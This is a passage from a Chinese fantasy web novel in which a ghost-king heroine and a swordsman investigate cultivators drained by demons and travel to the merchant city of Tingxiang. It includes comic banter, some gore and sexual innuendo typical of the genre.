突然,一道不合时宜的怒骂使时间流速正常了起来,茶摊又变得哄闹闷热。
是一个男人冲进来,他大手一掀向后拽,几乎扯掉了茶摊的帘子,所有人都能轻易从他的脚步声中感受到一个信息:他很愤怒。
“死婆娘!”一声怒吼带着粗鄙,
“躲!躲!你往哪躲?我他娘的一天累死累活,你花起钱来倒是痛快,啊?”
女人所在的桌子被掀了,一阵鸡飞狗跳……老板过来了,但显然,他压不住盛怒中的男人。一时间,女人尖叫乱窜、老板焦急大喊、路人议论哄笑……好不热闹。
陌离却还是正襟端坐,深蓝色的劲装被不知道哪儿泼来的茶水润湿了一大片,他一动不动眼睫微垂,古井无波。
美人儿到哪都是显眼的,但现在,明显是八卦更加吸引路人。
那边男人气累了,扯着领子喘粗气,接过一旁老板递过来的凉茶,哼哧哼哧地喝起来。老板一边说着,“消消火吧”,一边肉疼地看着自己摊前的狼藉。
男人摆摆手,
“我怎么消得了火儿啊!就这败家玩意……”他指了指那个蹲在一木桌后,头发散乱的女人,开始了他的诉苦,
“就她,上个月,啊啊气死我了……她,说是要去隔壁听香城进批时新布样,结果回来告诉我出了大乱子布没进着,我本来因为她一个多月没回来就有点儿急了,想着没进着就没进着吧,人没事儿就行。
今天人追到家里要钱我才知道啊,好啊,你知道她都干什么了吗?
她在人家听香楼大吃大喝,那每日的账单我看着都眼晕啊……
本钱打水漂了,她还给我整这么一出,那么多钱我上哪还去?啊?”
女人嘤嘤地哭了起来,气得那男人转头瞪她,“哭什么?你还有脸哭!就是卖了你,那钱都还不上!你还有闲心出来喝茶啊?茶钱你出吗?”
女人一边抽泣一边小声反驳,
“不是我想的啊,那不是看见听香楼的人来了,出来躲一躲吗……他们就是讹人,他们楼里死了大人物封了楼,我也出不去啊,他们就可着贵的菜上,我也不能不吃是吧……饿死了怎么办……”
男人都要气笑了,“你是被迫的是吧?”
女人点头如捣蒜。
“那你吃个饭,还需要,小倌儿陪着,才能吃下去,是吧?”男人的话仿佛是一个一个字从嗓子眼里挤出来的。
……
哦吼,周围的群众明白了,敢情这女的不光享受了物质服务啊……
“噢?死人了?知道是什么人吗?怎么死的?”那女人身后响起一道带着兴味的轻快女声,她觉得身后一凉,转身要看,谁想腿蹲麻了,一个屁股墩摔在地上。
所有人都看了过去,那女人边上不知什么时候出现了一个身着白衣的美貌女子,她容颜清丽,如瀑黑发与白裙相衬几乎贴地,正坐在一个小木凳上,肘接膝盖身体前倾,双手拄脸,歪头含笑,好像是凭空出现的一样。
陌离也看过来了,这一看,视线就没再转向别处。
他生来眸色清浅,但此时细看下来,眼底却有一个模糊的白影。
江妄知道陌离在看她,于是回看过去,笑意散开,微微抬头示意。
那女人并没有回答江妄的任何一个问题,但江妄注意到,在自己问出“怎么死的”之后,女人很明显地瑟缩了一下,眼睛里有惊恐,像是回忆起了什么可怕的事情。
江妄没再说什么,起身拍拍手,走到陌离那桌,拉开一个板凳,无比自然地坐下。
陌离早就垂下眼,又去看他的茶。
江妄笑着问,“忙活了一中午,嗯?都查出什么了?”
陌离没接话,语气平缓反问,
“你去哪了?”
江妄的回答似乎在陌离的意料之内,因为江妄的回答从来就是不好好回答,
“原来我去哪儿是要向公子报备的啊,以前我不知道,现在我知道了,”江妄扬眉,揶揄道,
“从今以后,我去哪都会告知公子一声。那样,公子找不见我,也不会着急了。”
……
另一边,那个女人耷拉着脑袋被自家丈夫领着回家了,男人一路上骂骂咧咧个不停。
可这对倒霉夫妇刚到家门口,就被两个人拦住了,一个身长玉立手握长剑,一个白衣袅袅怀抱帷帽。
男人:“你们谁啊?要干什么?”
女人小声:“他们是刚才茶摊遇到的。”
江妄:“不请我们进去坐坐?”
男人:“凭啥?快起开!”
江妄:“你不想还钱了?”
男人:“和你有什么关系?你能帮我还是咋地?”
江妄:“我能。”
男人:“……请进。”
……
江妄进了门,发现这夫妇倒不是什么穷人,家中陈设干净,偶有昂贵物什,甚至有佣人看茶。
江妄开门见山,
“告诉我,你在听香城看到了什么,听到了什么,要事无巨细,我就帮你把钱还了。”
女人立刻看向丈夫,男人又把江妄上下打量了一遍,狐疑开口,“你真有钱?她欠的可不是一点半点。”
江妄:“……”
倒也不必怀疑的如此直接。
“哈哈……他有钱。”江妄毫不犹豫指向陌离,末了又强调一句,“他可有钱了。”
陌离不语,一脸高深莫测。
男人:……行吧。死马当活马医吧。
江妄也不完全是闲的八卦。
她前两天半夜在溢庆城搞鬼界小例会的时候,听一个刚死不几天的鬼陈情,说自己的化鬼执念。
溢庆和汝陵两城紧挨着,都是玄风宗的地盘儿,这两城又与听香城毗邻,三城宛若三角。
那鬼惨哦,他生前就是个练气后期连筑基都不到的平民老百姓,哪想得到,一天晚上走在回家路上,被一根诡异枯枝拖进树林,把他活活吸干了。他说他能清晰感觉到自己丹田慢慢变冷,血液流动的声音慢慢变小。
而最过分的不是它吸他修为、害他性命,是他看见那个缠住他的恶心植物,唰一下子变成了一个可爱的双马尾小姑娘,那小姑娘化出一把小刀,活活把他还没凉透的尸体给吃了,吃了!
还边吃边掉眼泪,哭着说他的肉太老了,没洗澡不好吃什么的。
听听,这是人话吗!这也太过分了,吃他就算了,还嫌不好吃……
那鬼生前就是十里八乡有名的倔驴,这么不明不白地死了,纯纯变成了失踪人口,哪里能甘心?
因为他实力实在太低,恐怕不日就会魔化,组织决定优先考虑解决他的执念。
大家都以为他的执念肯定是杀了那个妖报仇,什么千刀万剐之类的。江大宝已经准备派鬼出动了,结果这奇葩执着的是,要找到那个女妖,告诉她,自己那天刚刚洗过澡……
额……这神奇的执念。
但这个话头一挑起来,鬼群议论纷纷,江妄这才知道植物大肆作怪不单是在汝陵。溢庆城估计也是如此,那个倔驴鬼指定不是个例。
而听香城,修士被吸灵力致死的事件更是发生陆陆续续有好几年了,但一直没破案。听香楼便封锁了消息,免得惹人注意,影响名声。
可这封锁消息是对人啊,鬼的消息上哪去封锁,鬼已经骂听香楼废物骂了好多年了……
江妄不会傻到觉得汝陵干尸和听香城这么多年的事儿没有关系。
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说到这听香城,它可以说是南界一大特例了,它的独立性非常的强。从听香城执法宗门就叫“听香楼”也可以看出这一点。
而它这么特殊,和它的商业功能分不开。听香城是南界第一大商埠,富得流油,各路商帮云集,有其独特的运行体系。就连遥岑宗都要给听香楼几分薄面,毕竟再牛的势力都离不开资本的支持。
这听香城还不是谁想进就能进的,其准入条件极其苛刻,一般商人是要证明自己的实力,才有资格进城交易。
听香楼里的修士主行商,以营利获取晶石为目的,跟仙风道骨是毫不相干。商场上勾心斗角斤斤算计,那些修士又怎能有心境的提升?那没有过硬的实力,又怎么去守巨额的财富?
说一句,就懂了,这听香楼的前身就是合欢宗,后来商业发展起来,才改名“听香楼”。他们都修合欢道,不单修的……
听香楼有很大一部分生意就是青楼的营生。
像听香楼旗下的酒楼、布庄、珠宝,都叫XX酒楼、XX布艺、XX珠宝。而听香城所有的青楼,都是听香楼直属,它们都叫:“听香楼”。
不同的只是牌匾上这三个字的颜色,最核心是红色。听香楼根据等级从高至低分别称为:绛楼、绯楼、缃楼、缥楼、缁楼。
绛楼只有一个,就相当于听香楼本部了。
绛楼之下有三绯楼,十缃楼,缥楼缁楼不限。
通常来说,只有缥楼和缁楼才有青楼属性。缥楼中有一部分听香楼弟子管事,其余就是普通妓子,而缁楼基本就与其他城的青楼无异了。
其实没人说过绛楼绯楼缃楼不营业,但是,要命的人一般都不去冒犯。
双修本身没什么,但要是和听香楼弟子双修,就得小心点了。他们一旦运转功法,多少会吸点什么。一次两次不要紧,多了那肯定要完。
也不能怪听香楼弟子,他们就是靠这个修炼啊。世间物质在一定意义上是平衡的,他们提升了修为,那和他们双修的人就肯定得少点什么。
这也不是什么秘密,大家心里都透明白,相当于明码标价了:来听香楼和楼中弟子春风一度,是要消耗一定灵力,甚至是修为的。而且和等级越高的弟子双修,会消耗的修为灵力就越多。
但哪怕就是去嫖,也得出嫖资不是?而且嫖头牌价肯定更高啊。都是一样的道理。
所以啊,要是你修为特别高的话,听香楼弟子都愿意跟你来一段云雨。你要是个合体大乘,那在各色听香楼你想玩谁就玩谁,直接横着走。
江妄就总后悔自己修了劳什子无情道,不然怎么也去绛楼见识一番啊,那些弟子可是个个出挑……
不过你要是没有点够耗的修为,又喜欢听香楼的美人儿,还没个节制……听香楼会在你快要不行的时候提醒你一下,你要是不听,那也行,没人拦着,最后你就会在蚀骨爱美人乡里,被榨干修为灵力,尸体出门左转乱坟岗。直接没人认领,家族师门都嫌丢人。
听香楼恐怖如斯,正派弟子避之若蛇蝎。
听香城有钱,大家一边去消费,一边瞧不起靠听香楼富起来的听香城。一边骂着听香楼弟子“不知廉耻”“轻浮浪荡”,一边又为他们着迷,然后再狠狠打自己两巴掌。
不过听香楼弟子再香,一般修士也不敢常碰啊,保命要紧。双修的客流量其实不是很大,一般都是吃饭听曲儿、娱乐消遣的。
那听香楼弟子,都靠什么提升修为啊?
他们主要的修炼途径其实是和同门双修。大家都是练合欢道的,你吸我?不怕,我也吸你。实在不行,我去吸他……
是的,乱的很。
拼的就是谁的功法更精,具体的原理我也不清楚(不太敢清楚,不被允许清楚)。总之大家都能提升点儿的,只是相对于和其他修士双修,提升得少。
听香楼没有楼主,只有一位掌事处理楼中事宜,三大香主管理产业。
别看掌事只有一位,他可万万没有那三大香主金贵,他只负责楼内事务,像是弟子试炼、修炼资源分配、甚至是打架纠纷这些家务事。一旦涉及外务,那就是三位香主的事儿了。
也就是说,实际上听香楼的掌权人是这三大香主。
听香楼现任的三香主分别是:一,酤酒逸客王勤;二,翾风娇子黄栖权;
三,绛楼弥勒乔洒松。
其中,这绛楼弥勒是最有趣的。
绛楼弥勒,光是听他这尊号,便有多少讽刺在里头。
听香楼的弟子,不说个个惊艳绝伦,也是绝对没有难看的,三大香主更应该是美中之美。
就现任这三香主中,酤酒逸客温文尔雅、俊美无俦,翾风娇子更是美得仿若天女下凡。
可这绛楼弥勒却一身富态,整日笑眯眯的,好像不会生气一般。就算有人明哂暗讽,也浑不计较,只一脸的慈悲相,出去说是佛修都有人信,哪有半分听香楼的做派?
可他偏偏是做到了香主的位置。
因为他是听香城数一数二的大家族——乔家的人。
说这弥勒乔洒松乔香主,从前也算是个有名号的翩翩公子,后来好像是中了什么毒还是怎么样,才变得肥胖的。
可是没人管乔公子那些肥肉背后的苦痛,只纷纷讥笑他与听香楼格格不入的画风。相貌不优本不是错,他若老实呆在家里也就算了,偏偏去那听香楼……便是错了。所以,有一阵子,乔洒松过得很艰辛。
哪怕是他后来当上香主了,成为这听香楼,乃至可以说是听香城最尊贵的人之一,也有那多少人不服不忿,明里暗里揪着他的短处不放。若他不是乔家的公子,早就扛不住压力下台了。
可这乔香主为人最是宽和圆融,更有经营之才,为听香城的财富大厦又添上几层,慢慢的也就被众人接受了,有了“弥勒”这等美称。
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女
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人在丈夫催促下,瓮声瓮气地说了,
“我家经营成衣店嘛,靠着卢郎家里的关系能从听香城进些上等料子,那边一直是一个叫秦玉的人和我做生意,他是听香楼王香主的人。
这次我去找秦玉,他手里正好有活儿没做完,就把我带进听香楼了,说是正好帮他做点事儿,然后忙完带我去看布样。谁想半道发现个大纰漏,他着急去请示王香主,怕留我一个人触动机关,也是存了叫我作证的念头,就把我带去了绛楼。我本想着能见到王香主也是三生有幸,没想到看见……看见那个王香主……”
说到这,女人的眼瞳里全是恐惧,浑身颤抖。
江妄追问,“然后呢?王香主是死了吗?”
女人的嘴唇动了动,但硬是一个音节也发不出来,“他……他……”
那个被女人称作卢郎的就是她丈夫,他看妻子这样,阴沉着一张脸,感觉他更气了。但他这次没发火,倒是抬歩走过来,坐在女人身边无声揽住她。
女人缓了一会儿,但还是没能说出个流利句子。男人烦躁极了,
“钱慢慢还总能还上,算了!送这两位出去。”
江妄:“真不用我们帮你还?”
卢郎:“快滚!”
江妄:行……
看这架势是不能好好说了,江妄往门的方向走了两步,突然,毫无征兆地拔出陌离手中的减翠,转身就架在那卢姓男人脖子上。
她笑意盈盈地看向女人,“这回,能说了吗?”
卢郎:……
陌离:……
女人:……
“能,能,你别动,我说,我说……”
江妄:早这样不就完了。
女人眼里的惊恐被焦急取代,生怕一个说不好让自己丈夫没命,
“秦……秦玉封了我的视觉,我就听话任他带着走。不知道过了多久,我闻到一股异香,紧接着,秦玉就叫了出来……等我恢……复视觉,就看到,看到……”女人狠狠咽了口口水,继续颤抖着道,
“有个头……头颅挂在香帐上,已经抽抽巴巴的,看不出容貌了,滴滴答答往下淌液体,不光是血,还有……花白的东西,应该是脑……髓……”
江妄仍是笑着,像是在鼓励女人继续说。
女人都快哭出来了,
“他的身体还是完整的,嗯,完整的。他们都说是王香主,大家都吓坏了,那王香主可是化神境啊……把他杀了的又会是什么境界……当时,听香楼就封了,说是不准任何人出去,要一一排查。我和那些没什么修为的供应商都被安排在一起住,在最外层的花房,可我觉得封我们也没用,那么厉害的凶手怎么可能逃不出去……”
当然不是封你了,江妄心想,只是封锁消息罢了。怪不得听香楼为了几顿饭钱费人力物力,都跨城追到你家来了,那是要饭钱吗,是要你闭嘴啊……可惜这俩傻子……
江妄问,“那你是怎么回来的?”
女人突然自豪了起来,她挺起胸脯,
“我跟一个门中弟子喝了好几天酒,喝熟了都,就套出大门口阵法的解法儿和门卫轮班时间了。他们都想不到我用美人计吧,哈哈哈……我可聪明了”
江妄:……那阵法大概率就是拦普通人的,你一个筑基二段有什么可沾沾自喜的。
卢姓男人却竖起大拇指,
“你真的好聪明!我就说你心里只有我,怎么可能找小倌儿……”
江妄:……
他俩,真,绝配。
女人得到了夸奖,都不害怕了,开始显摆情报,
“我还听说,为什么听香楼这么重视这个案子,是因为还有一个香主死了,死状和王香主一模一样!这明显是挑衅啊,他们都可生气了……”
什么?三大香主死了两个?
江妄神色微紧,
“你当时看见那个头颅是干瘪的,失去血肉皮包骨的吗?”
女人又有点颤颤巍巍,
“不是,是有血肉的,就是……我后来听说的,是脑髓被抽干的缘故,有些辨不出容貌。但不是没有肉的……”
“抽”这个字抓住了江妄的神经。
她立刻问,“是不是妖物所为?”
“不是吧……我在听香楼呆了一个月所以知道,正是因为现场没有妖气,而王香主头上又没有伤口,不像是人能做到的,听香楼高层才大发雷霆的……”
没有妖气……
江妄看向陌离,陌离点了点头。
看来,此去听香楼是势在必行了。
江妄放下剑扔给陌离,捏着酸痛的肩膀,举这么长时间累死了……
女人见状,立刻扑向卢郎,够着要检查他的脖子,噼里啪啦掉眼泪,那男人还是烦躁得不行,但也只能粗声粗气的安慰。
江妄看着这对吵吵闹闹的夫妇,此刻却一点儿都不觉得他们俩聒噪。她轻轻笑了一声,潇洒转身,不一会儿,懒懒的声音从门那边传来,
“下回那听香楼来人,你就指心立誓在听香城发生的事儿全忘了,他们自然就不会为难了……”
出了门,二人不约而同往旅店方向走。太阳也累了,光芒远没有中午时那么灼人,柔和地拉长两双身影。
喧闹的街市里,人流不息。藏蓝劲装的男子身高腿长,步子迈得大,却不显急促,速度均匀,每一步踏在地上都像是精心计算过的。他身边一白衣女子头戴白纱帷帽,穿着飘逸中带着诡异,却好像一点都不影响视线,脚步轻快身影飘忽。
走了一段,江妄问,“明天走?”
陌离沉默。
江妄又追一句,“是咱俩一起去吧?”
“……”
就在江妄以为陌离又脑子抽风不会搭理自己的时候,陌离开口了,
“姑娘为何前去?”
江妄砰的一声拍了一下自己的胸口,字正腔圆道,
“斩恶妖除邪魔,我辈修士义不容辞!”
看陌离没什么反应,江妄以为是自己说的不够真诚,又加了一句,
“为了人族与妖族的和平,为了爱与热血,让我们遇事不惧困难,还死者一个清白,还世间一个真相……”
陌离:“……”
江妄丝毫不觉得尴尬,开始明知故问,“那公子呢?又是为何?”
陌离:“……义不容辞。”
江妄:……
不愧是你。
谁知晚上,江妄就逮着了一个人准备出城的陌离。
江妄正在听江大宝说等下动员大会的流程,对,他们现在都是有剧本的。比如,在群鬼激愤的时候,安排一两个质疑声音;或者,找几个鬼现身说法,调动气氛等等。反正,这堆鬼死前智商就不高,谁智商高当鬼啊?然后再死一次,双倍降智,就根本不剩什么了……
当然了,虽然江妄心里这么吐槽鬼,却不觉得自己脑子有问题。毕竟自己可是鬼王啊?那能和一般的鬼等同而论吗?
10. 第 10 章
二江边飘边唠,速度相当快,江妄根本没看见陌离。
还是江大宝出声,
“陛下您看,那是不是昨天和您在一起的那位公子?”
江妄急刹车,定睛一看,呦,还真是。
江妄瞬间就火了,好你个陌离,忒不讲道义!怎么能独自行动呢……
“宝儿,真不愧是我的宝!好样的!”江妄使劲拍大宝的肩膀,一脸欣慰。说着就慢慢凝实了魂体,信步向前走去。
“那您还去……吗”
“宝儿,你已经是个成熟的宝了,可以自己独挡一面了。”
看那么多次我怎么忽悠,你也应该学会了。
“陛下,我真不行……”
“哎呀,那不行,不行还有我二宝路清嘉呢!”
……
江妄跟了陌离一路,陌离也没什么反应,这警惕性不行啊……江妄刚这么想,减翠就嗖一下对准了她脑门,陌离连头都没回,保持刚才的速度往前走,一句话也没说。
这警告的方式,还真是,冷淡啊。
江妄没理减翠,可她刚往前迈一步,那绿色光剑就动了,然后一人一剑做起了晚间花样体操。
前面陌离丝毫不为所动,自负得不得了,眼看距离越拉越远,江妄也不想大晚上被人当杂耍,扯着嗓子大声喊道,
“公子啊!你剑可有点没礼貌了奥!”
陌离果然卡顿住,没一会,减翠嗖一下飞回他手里的剑鞘,他转过身来看着江妄。
江妄也抱胸看他,二人谁都不说话,就这么站着。树叶在夜风里沙沙响着,月亮软软把光晕倾泄在女孩清新的面容上。
陌离眼帘微垂,像是妥协,抬歩朝江妄走来。
“你……”
江妄赶紧抢在他前面开口,“公子怎的如此?出门都不带我,还有没有点同道爱了?”
陌离:……
听着女孩带笑的声音,看着她不带笑意的眼睛,他到底没说出什么,“自己没有义务和她一起”之类的有可能惹她不高兴的话。
就在这时,二人都感到一股浅浅的妖气袭来。陌离觉得有些熟悉,江妄则是下意识翻了个白眼。
每次被他骚扰,江妄都是拳头处理,偏偏这位小红越挫越勇。真是,烦不胜烦……
只见一个带着香气的红衣怪从树林里飞出,直奔江妄而来,江妄战略性侧身躲避,这位小红就结结实实和泥土来了个拥吻。
……
陌离认出来了,这就是那天鉴宝大会的那只狐妖。
晦气!江妄拉着陌离就走,谁知小红一个闪身拦在二人面前,瞪着江妄,费力垂下本上挑的眼尾,用自以为楚楚可人实则人间油物的眼神,像抓到妻子偷情的丈夫一样大声质问,
“他是谁!”
江妄微笑脸,“我新招的学徒。松筋骨一次一百灵石,请问您是需要单人技师还是双人?”
姬瀛丘条件反射地颤抖了一下,但还是鼓起勇气自说自话,
“明明一周前我们还在城郊这儿……嗯哼”,姬瀛丘抛了个只可意会的媚眼,
“你当时多主动啊,把我捆着,自己动……这些天我们……什么禁忌旅店后院啦、阴森荒凉小树林啦……你翻脸不认妖就算了,现在还有了新欢,我再也不是你最爱的小宝贝了呜呜呜……”
江妄看着陌离僵硬得快掉渣儿的脸,心里笑得人仰马翻,暗想没禁红蝴蝶的言还真对了,能看到陌离这表情,血赚啊……
江妄心情好,也耐着性子问姬瀛丘,
“所以呢?”
所以你拦在这是要干嘛?又找打么?
“我要控诉你!”
江妄好笑,“控诉我什么?”
“你出门不带我!”
……不是,这句子怎么听着这么耳熟呢?这不是刚才她跟陌离说的原话吗?
果然天道好轮回,烦人者,人烦之。
江妄也不废话,在红蝴蝶再次烦人之前,拔出陌离手中的减翠横劈过去。姬瀛丘翻身一躲,江妄就拉着还没解冻的陌离缩地成寸,眨眼间就到了几百丈以外。
结果,清净不过几分钟,“姐姐,你们是要去听香城吧。”红色魅影又出现在江妄视线里。
江妄要在陌离面前隐藏身份,不想动用魂力,而陌离现在不过元婴境,两人根本甩不掉姬瀛丘。反正之后进城他也会知道,江妄就大大方方答是。
“姐姐要去听香城早说嘛,我可是听香楼白晶级会员,所有消费打六折哦~~跟我走,保证姐姐在听香楼吃好、喝好……睡好……”
江妄看了他一眼,这得在听香楼花了多少钱啊,才能成这终身六折的会员,啧,这虞山姬家怕是要被这不靠谱的少主败光了吧。
三人莫名其妙结成一队,大晚上的,以慢悠悠的春游式赶赴听香。
陌离不知道是不是还没缓过来,始终保持沉默。虽然他平时也不怎么说话,但江妄就是能感觉出来气氛不对,看样子给孩子吓着了啊,这呆子……
但她也没特意解释什么,反而和红蝴蝶闲聊了起来,“你为什么觉得我会去听香城?”
姬瀛丘难得正经了一把,
“听香城那俩香主死的多惨啊,我以为你会去凑个热闹。”
“哦?你知道?”
“那必然啊,不然你以为我怎么第一时间获得最新款?听香城的消息我称第一灵通,谁敢称第二?”
“……哈哈,你好棒。不过,我还以为您这样的白晶会员会有□□之类的呢?”
“要什么□□,土不土啊你?购物享受的就是逛的乐趣!你不去店里怎么知道有没有什么隐藏的精品被你生生错过了啊!”
江妄机械鼓掌,深沉点头,满脸都是:哥们儿,你说得对啊,佩服佩服……
不是江妄转了性突然瞧得起这骚包红蝴蝶了,只是与对方这种听香楼消费大户交谈,实在是了解案情的最佳选择。
江妄一向是个能屈能伸的识时务俊杰。
沐浴在姬公子的个人光辉里,屏住呼吸以免他身上呛人的香水味钻入鼻腔,强忍着拍人的冲动,江妄觉得,自己真是个英雄。
忍辱负重到底是有结果的,江妄成功得知,这些年听香楼的案情与汝陵连环干尸并非全同。
这不同在于,受害者的死状。
张扶风固然死相凄惨,血肉都被什么诡异手段抽掉了,但他尸身完整,甚至不见创口。可是,这么多年听香城的受害者死状,一律是胸腹有大洞,内脏缺失。
尽管如此,江妄依然觉得最近汝陵、溢庆的事件和听香城疑案有关。
因为,这些修士不管死后呈现的形态如何,不可忽视的相同点都存在:被吸食了修为以及血肉。
以及,没有丝毫妖气遗留。
就连听香城这两位香主,江妄初步猜测,也不仅仅是被抽掉脑髓这么简单……
但是,这些不同也不是毫无意义。不同的作案手法指向一点:凶手不同。
汝陵的凶手是那个金银花精,已经让江妄给杀了,溢庆的凶手据那个倔驴鬼所说,也是个植物精怪,化人形后还是个小姑娘。
那听香城呢?也一定另有凶手了,但总逃不过一个“妖”字。
而不同的凶手犯下类似的罪行,说明了什么?这说明他们不是有明确的组织计划犯罪,就是共同利益所趋。无论是哪一个原因,都足够玄风宗和听香楼喝一壶的了。
事情真是,越来越有趣了。
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遥遥就看见听香城过于招摇的城门。
人家别的城门或是用砖瓦砌成,或是豪气一点用白玉、晶石,就像汝陵城门就是用下等黑晶搭建的。
这听香城的城门可倒好,整块的巨型琉璃雕成城墙楼阁,晨光下七彩流淌,像是天上神君打碎了手里的调色画盘。
数道法阵拔地而起直通天际,上面不同颜色花纹繁复,晶莹剔透,艳丽却不艳俗。正中不知名的宝石悬浮,拼接形成两个扁扁的古字:听香。
江妄不好这种华美,但不可否认,她也被听香城的财大气粗给惊住了。一个城门而已啊……就是不知道她把那些宝石撬走一颗能卖多少钱……
姬瀛丘这一路上被江妄搞得有点小自得,现在便主动承担起了带大家进城门的重任,“一会你们就说是我新招的随从,给我拎包的。”
江妄礼貌一笑,随便一拱手腰都没弯,
“姬公子,就此别过。”
姬瀛丘:???
江妄迈一步站到陌离身边,继续和姬瀛丘的对话,“我呢,和这位公子进城。”却是侧头看着陌离,眸中含笑。
陌离匆匆对上江妄的视线,又避之不及般匆匆移开,惹得江妄失笑。
姬瀛丘:……
用完就扔倒也不必表现的这么明显。
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江妄真诚疑惑:“姬公子,还不走吗?”
姬瀛丘深吸一口气,“你呢?不也没走?”
江妄:“你先走啊,不然我怎么走?”
姬瀛丘:“……不是,我说,咱们一起走怎么了?至于吗!”
江妄:“至于,身份不同。”
姬瀛丘:……
“人妖歧视那都是多少年前的老黄历了,现在讲究的是一体化,一体化懂不懂?再说了你知道我是谁吗?我那身份可是很尊贵的!跟着我,不掉价!”
江妄诚恳点头,
“我十分赞同你的观点,世界大同,万物平等,就是我一直以来的理想与追求。”
姬瀛丘:……有病吧?
“反正我可告诉你,这听香城不是汝陵,就算你有通天的本事,身份不明也是过不去的。那琉璃城门据说是三乾密境里开出的上界法器,又有地级法阵七曜阵加持,你要没有大乘修为,就别硬闯。”
江妄:嘿,巧了不是,我就是大乘……
但硬闯是不可能硬闯的,就算进去了,用不上一炷香的时间,听香楼的高阶修士就排排站集结在她面前了。
江妄很享受万人欢迎的待遇,毕竟这鬼王当习惯了有瘾嘛。但这身边还有一个陌离呢,自己还是做个好人,别给这社恐仙君找麻烦了吧……
姬瀛丘看江妄没反应,颇为自豪又假装低调地问,
“你知道我是谁吧?”
妖里面有自己的阶级。比起那些奇奇怪怪的物种,狐族天赋异禀,根基深厚,属于妖类中的上乘,更别说虞山姬家是狐族之首,历史上还出过两位妖王。姬瀛丘身为虞山少主,身份之高不必明说,也不怪他骄傲。
江妄:“不知道。”
姬瀛丘:“……给你个提示,我姓姬。”
江妄:“哦~哦哦,哦哦……”
姬瀛丘:“哦,哦哦……”快说啊,快说出本少主高贵的身份!
江妄:“我知道了,你是鸡精,对吧?”
……
江妄:“怎么了,鸡公子?唉,我也理解你,你死皮赖脸要跟着我,无非是想要那条骨鞭。”
姬瀛丘一听骨鞭两眼冒光,一时间也不计较什么鸡不鸡公子,
“姐姐,江姐姐,你想通啦?你早说嘛,你给我骨鞭,我带你进城,这多好的买卖……”
江妄一脸可惜,
“不,不,鸡公子,你误会了。我的意思是说,你不用跟着我了,因为,骨鞭已经让我送给这位公子了,”江妄指着陌离,
“君子不夺人所好,何况这送出去的东西,哪有再要回来了道理啊?”
……
不要问姬瀛丘的鼻子为什么是歪的,问就是今年的流行款,直鼻微歪。
姬少主长这么大就没受过这样的委屈,要不是打不过……
不过骨鞭给了陌离……姬瀛丘转念一想,也勉强,算可以吧,又不是外人。
但气还是很气的,于是红红的姬少主甩了一下红红的袖子,哼的一声,两个缩地就到了听香城门口,不知道和守城的说了什么,又拿出了什么,就被恭恭敬敬请了进去,七曜阵橙红色的光芒一闪,再看姬瀛丘,已经在琉璃城门里面了。
江妄看着城门里面冲她龇牙咧嘴怪笑的姬瀛丘,也礼貌的回一个温雅的笑容,她目视前方,轻声对陌离说,
“我们也走。”
充当背景板很久的陌离终于开口,声音硬邦邦的,很不自然,
“我能解开这个阵法。就是想要不惊动守卫,需要点儿时间。”
江妄转头看陌离,给了一个赞叹的眼神,翻译过来就是:厉害啊,我的仙君。
但她没说什么,拉起陌离手腕缩地一次,再次现身时,离城门只剩下一小段距离。江妄松开陌离的手腕,昂首挺胸信步走向城门,陌离见状也不多问,默默跟在后面。
两个守卫的剑略微出鞘,
“请出示入城许可。”
只见白衣流纱的年轻姑娘抬起手,宽大衣袖随着她的动作在空气中前后摆动,一个玉质腰牌出现在她白皙修长骨节分明的手里。
女孩姿态大方,仪容不凡,清丽的音色中自带一股傲气,却没有骄矜之感,
“遥岑宗查案,开门。”
这就是她说的身份不同啊。
你是普通消费者,而我,是执法检察。
11. 第 11 章
江妄话音一落,两个守卫本来的木头脸上表情变了又变,眼睛里是是难掩的畏惧,但又表现的有些抵触。
其中一个反应快些,立刻躬身拱手,
“师姐请稍候片刻,小人去请我们主事的过来迎接。”
他说完另一个也反应过来,立刻就侧身迎江妄到法阵上。
看着这一切的姬瀛丘……
江妄没有立刻站上去,转身把陌离拉过来,
“这是我小师弟。”
守卫拱手,“师兄好。”
陌离:……
嗯,好。
七曜阵四散出一阵绯红的光,光很厚重有实质一般,四下逸散开像是缓慢地融进了空气中。陌离看着身侧的白衣姑娘,那光浓艳的仿若她周身缠绕着红绸。
他突然觉得,红色一定是比白色更适合她的。
可那样艳的红就维持了几息。
红绸退散,那姑娘就像是业火中生出的白莲,又像,大婚当日摘下盖头改穿丧的新媳。
白衣的姑娘在琉璃清透的城门口,几缕光从天边来,透过琉璃又不知折了几遭,最终落在她鬓角逸散的发丝上,落在她洁白的裙角上,模糊了她本就纤细的轮廓,好像一阵风过来便要飘然登仙,美得虚妄,让陌离心头平白添了一丝惶然。
没过几时,三人头顶投下一片阴影,江妄抬头一看,是一艘灵气驱动的飞舟。有几人自高空跃下,那几人身影在江妄眼里逐渐变大,然后一闪,江妄向前看去,一个肚圆面善、锦袍金饰的男子正站在她面前。
接着,唰唰唰一列弟子出现在那男子身后。这些弟子却不似那男子肥胖臃肿,各个出挑,虽也着各色锦袍,却丝毫没有俗气之感,反倒身姿气质里是带着富贵的仙气。
那位肖似弥勒的男人对江妄略略点头,面露一个和善无比的笑容,
“在下是听香楼乔洒松,不知师姐大驾光临,没有提前迎接,实在是罪过罪过……敢问师姐尊姓大名啊?”
江妄也笑,
“姓江。香主一句师姐可担不起,不过是听命前来看看情况,借公事之名也在听香长长见识。”
来迎他们的只会是听香楼唯一剩的那个香主,绛楼弥勒。
乔洒松又嘿嘿一笑,像是卖乖,
“是是,江姑娘。其实也不怪小的没眼色,您辛苦走一趟,这贵宗也没给我们批个文儿,传个信儿,您说这……”
江妄笑笑,再一次掏出腰牌,
“香主过目。”
乔洒松满嘴“诶呦呦不是这个意思”,手上倒是接的麻利,正反前后仔仔细细看了一遍。
江妄在他看的时候又说,
“这说到底是听香楼自家的事儿,我们也不好把手伸得太长,若是传信下来,搞得好像我们信不过听香楼一样,也伤和气不是。这次呢,也没别人,就我和我这小师弟来听香楼问问情况,香主买个面子,我们也差不多就行。”
乔洒松满脸堆笑,好像很不好意思的样子,“诶呦,江姑娘哪里的话啊。”说着,双手把腰牌递还给江妄。
“二位,请跟我来。”
这就是江妄不和姬瀛丘一起走的原因了,你见过哪回中央查案还带着个大妖的?
遥岑宗是南界的总辖,是一切地方执法宗门的上一级,她拿出腰牌就可以最直接迅速获得完整的案情,何乐而不为呢?
姬瀛丘一脸呆傻,看着江妄和陌离走远。
遥岑宗的,陌离的同门吗?可那样奇怪的身法和力量,怎么都不像名门正派啊……
